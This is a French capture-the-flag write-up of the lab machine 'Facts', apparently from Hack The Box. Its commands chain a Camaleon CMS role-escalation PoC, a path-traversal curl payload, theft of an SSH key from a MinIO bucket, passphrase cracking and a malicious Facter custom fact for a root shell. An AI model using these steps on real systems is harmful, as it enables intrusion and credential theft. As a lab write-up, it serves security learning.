Facts

2026-03-20easylinux#camaleon-cms#cve-2025-2304#cve-2024-46987#privilege-escalation#aws-s3#minio#ssh#john-the-ripper#lfi#path-traversal#facter#ruby

Cette machine permet d'exploiter plusieurs vulnérabilités enchaînées sur un CMS Ruby on Rails, une instance MinIO mal configurée, et un binaire Ruby exécutable en root.

Données :

  • Mon IP : 10.10.15.10
  • IP cible : 10.129.13.134

Analyse et énumération

nmap -sV -R -v -oA scan 10.129.13.134

Résultats du nmap

Je découvre deux ports ouverts : 22 (SSH) et 80 (HTTP). J'ajoute le domaine dans /etc/hosts :

10.129.13.134 facts.htb

Je lance gobuster pour énumérer les répertoires :

dir -u http://facts.htb -w /opt/lists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt

Je découvre une page d'administration. Le site tourne sous Camaleon CMS version 2.9.0.

Page de login Admin

Exploitation — CVE-2025-2304 : Escalade de privilèges CMS

Je crée un compte utilisateur sur le site. Mon profil révèle que mon ID est #5 — ce qui suggère l'existence d'autres comptes déjà enregistrés.

Le CMS version 2.9.0 est vulnérable au CVE-2025-2304 (CVSS : 9.4), une faille de mass assignment lors du changement de mot de passe. La méthode updated_ajax utilise permit! sans filtrage, ce qui permet d'injecter un paramètre role=admin et de s'élever en administrateur.

J'utilise un PoC disponible sur GitHub :

python3 exploit.py -u http://facts.htb -U larmenou -P oui
[+] Camaleon CMS Version 2.9.0 PRIVILEGE ESCALATION (Authenticated) [+] Login confirmed User ID: 5 Current User Role: client [+] Loading PRIVILEGE ESCALATION User ID: 5 Updated User Role: admin

Je me connecte immédiatement sur le dashboard — j'ai accès au panneau d'administration complet.

Exploitation — CVE-2024-46987 : LFI via path traversal

Le CMS est également vulnérable au CVE-2024-46987 (CVSS : 7.7), un path traversal dans la méthode download_private_file du MediaController.

curl -s -b "auth_token=<COOKIE>" \ "http://facts.htb/admin/media/download_private_file?file=../../../../../etc/passwd"

Le contenu de /etc/passwd est retourné, révélant deux comptes utilisateurs réguliers : trivia et william.

Exfiltration — Clés AWS et bucket MinIO

Dans le dashboard admin, je trouve des clés AWS exposées dans les paramètres de configuration.

Dashboard complet + aws s3 credentials

Je configure le client AWS CLI avec ces credentials :

aws configure --profile facts # AWS Access Key ID: <clé trouvée> # AWS Secret Access Key: <clé secrète trouvée> # Default region name: us-east-1 # Default output format: json

L'endpoint MinIO est http://facts.htb:54321. Je liste les buckets disponibles :

aws s3 ls --endpoint-url http://facts.htb:54321 --profile facts

Je trouve deux buckets : randomfacts (images du site) et internal (home directory d'un utilisateur système). J'énumère le bucket internal :

aws s3 ls s3://internal/ --endpoint-url http://facts.htb:54321 aws s3 ls s3://internal/.ssh/ --endpoint-url http://facts.htb:54321

Je récupère la clé SSH privée :

aws s3 cp s3://internal/.ssh/id_ed25519 . --endpoint-url http://facts.htb:54321 chmod 600 id_ed25519

Accès utilisateur — Crack du passphrase SSH

La clé id_ed25519 est protégée par un passphrase. Je la convertis au format John the Ripper :

python3 ssh2john.py id_ed25519 > key.john john --wordlist=/opt/lists/rockyou.txt key.john

Le passphrase est trouvé : dragonballz.

Je me connecte en SSH avec l'utilisateur trivia identifié via le LFI :

ssh -i id_ed25519 trivia@facts.htb # passphrase: dragonballz

Je récupère le flag utilisateur situé dans le home de william.

Élévation de privilèges — sudo facter

Je lance les checks post-exploitation standards :

sudo -l
User trivia may run the following commands on facts: (ALL) NOPASSWD: /usr/bin/facter

facter est un outil Ruby de Puppet qui supporte les custom facts via des fichiers .rb. Il accepte l'option --custom-dir pour charger des facts depuis un répertoire arbitraire. Exécuté en root sans mot de passe, c'est un vecteur d'escalade de privilèges direct.

Je crée un custom fact malveillant dans /tmp :

cat > /tmp/exploit.rb << 'EOF' Facter.add(:exploit) do setcode do exec("/bin/bash", "-p") end end EOF

Je l'exécute:

sudo /usr/bin/facter --custom-dir=/tmp exploit

J'obtiens un shell root. Je récupère le flag root.